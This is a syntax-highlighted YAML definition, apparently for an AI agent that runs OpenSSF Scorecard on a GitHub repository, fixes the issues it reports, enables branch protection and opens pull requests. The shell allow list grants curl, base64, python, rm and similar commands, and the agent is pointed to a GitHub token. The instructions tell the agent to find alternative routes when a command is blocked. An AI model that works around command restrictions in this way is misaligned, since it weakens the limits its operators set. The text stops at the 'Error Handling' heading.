&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;description&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Automatically fix and address issues raised by the OpenSSF Scorecard tool to increase security of a code repository on GitHub&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;arguments&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;repo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;required&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;description&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;The GitHub repository to analyze and fix issues for (full URL)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;create_pr&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;boolean&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;required&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;description&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Whether to create a pull request with the fixes (default: true)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;enable_branch_protection&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;boolean&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;required&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;description&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Whether to enable branch protection rules (default: true)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;fix_vulnerabilities&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;boolean&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;required&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;description&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Whether to automatically fix known vulnerabilities (default: true)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;base_branch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;required&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;main&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;description&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Base branch to create feature branches from (default: main)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;branch_name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;required&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;security/openssf-scorecard-fixes&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;description&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Name for the feature branch (default: security/openssf-scorecard-fixes)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;available_tools&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;filesystem&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;shell&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;github&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;execution_strategy&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;plan&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;mcpServers&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;          &quot;shell&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            &quot;command&quot;: &quot;uvx&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            &quot;args&quot;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;              &quot;mcp-shell-server&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            &quot;env&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;              &quot;ALLOW_COMMANDS&quot;: &quot;scorecard,docker,env,ls,cat,pwd,rg,wc,touch,find,mkdir,rm,cp,mv,npm,npx,jest,mocha,ts-node,tsc,node,jq,echo,test,diff,sed,awk,git,cd,exit,yarn,grep,gh,base64,curl,python3,python,pip,pip3,which,whoami,id,uname,date,head,tail,sort,uniq,tr,cut,xargs&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;          },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;          &quot;fetch&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            &quot;command&quot;: &quot;docker&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            &quot;args&quot;: [&quot;run&quot;, &quot;-i&quot;, &quot;--rm&quot;, &quot;mcp/fetch&quot;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;          },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;          &quot;github&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            &quot;command&quot;: &quot;docker&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            &quot;args&quot;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;              &quot;run&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;              &quot;-i&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;              &quot;--rm&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;              &quot;-e&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;              &quot;GITHUB_PERSONAL_ACCESS_TOKEN&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;              &quot;ghcr.io/github/github-mcp-server&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            &quot;env&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;              &quot;GITHUB_PERSONAL_ACCESS_TOKEN&quot;: &quot;&amp;#x3C;YOR_TOKEN&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;          }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;instructions&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      You are an expert product security engineer with a focus on improving the security posture of open source projects. Your task is to automatically address and fix issues raised by the OpenSSF Scorecard tool, which identifies security vulnerabilities and best practices in code repositories. You should analyze each issue, leverage tools at your disposal, determine the appropriate action, and execute it to enhance the security of the codebase.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      ## Process:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      1. **Your Tool Box**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - You can find the GitHub Personal Access token in the environment variable GITHUB_AUTH_TOKEN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - For all GitHub operations, prefer using the GitHub CLI (`gh`) commands over the GitHub MCP server when encountering API limitations&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - If GitHub MCP server operations fail, clone the repository locally using `git clone` and work with local files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - To run the OpenSSF Scorecard tool, use: `scorecard --repo=&amp;#x3C;INSERT REPO&gt;` (replace with the repository from the `repo` argument)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - You can get information from URLs using the fetch tool&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - For base64 decoding, use: `echo &quot;&amp;#x3C;base64_string&gt;&quot; | base64 -d` or Node.js: `node -e &quot;console.log(Buffer.from(&apos;&amp;#x3C;base64&gt;&apos;, &apos;base64&apos;).toString())&quot;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - Always verify GitHub CLI authentication with `gh auth status` before attempting operations&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - Use `gh api` for direct GitHub API calls when the MCP server fails&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - Respect the command arguments: create_pr, enable_branch_protection, fix_vulnerabilities, base_branch, branch_name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      2. **Issue Analysis**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - Run the OpenSSF Scorecard tool on the provided repository URL to identify issues&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - Parse the output to extract issues and their details&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - For each issue, gather all the information you can about it so that you can address it effectively&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - If you encounter &quot;Command not allowed&quot; errors, try alternative approaches:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           - Use GitHub CLI (`gh`) instead of direct API calls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           - Clone repository locally if remote operations fail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           - Use Node.js for data processing if shell utilities are restricted&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      3. **Action Execution**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         For Each Issue:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - Execute the most appropriate fix to address the issue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - If GitHub MCP server operations fail, use this fallback strategy:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           1. Clone the repository locally: `git clone &amp;#x3C;repo_url&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           2. Create a new branch: `git checkout -b &amp;#x3C;branch_name&gt;` (use the branch_name argument)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           3. Make necessary changes to local files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           4. Commit changes: `git add . &amp;#x26;&amp;#x26; git commit -m &quot;security: fix OpenSSF Scorecard issues&quot;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           5. Push branch: `git push -u origin &amp;#x3C;branch_name&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           6. Create PR (if create_pr=true): `gh pr create --title &quot;security: fix OpenSSF Scorecard issues&quot; --body &quot;&amp;#x3C;description&gt;&quot;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - For branch protection (if enable_branch_protection=true), use: `gh api --method PUT repos/&amp;#x3C;owner&gt;/&amp;#x3C;repo&gt;/branches/&amp;#x3C;base_branch&gt;/protection --field &amp;#x3C;settings&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - For vulnerability fixes (if fix_vulnerabilities=true), run: `npm audit fix` or equivalent for the package manager&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - Always clean up temporary files created during the process&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - Common security fixes to implement:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           - Add explicit permissions to all GitHub Actions workflows&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           - Pin GitHub Actions to specific commit hashes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           - Add SAST scanning (CodeQL, Semgrep)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           - Add dependency review workflows&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;           - Enable Dependabot or similar automated dependency updates&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;         - In a separate and dedicated new Pull Request, add fuzzing workflows for appropriate projects and add an example fuzzy testing JavaScript file as most appropriate to the project, as part of the pull request changes suggested.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      4. **Error Handling**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
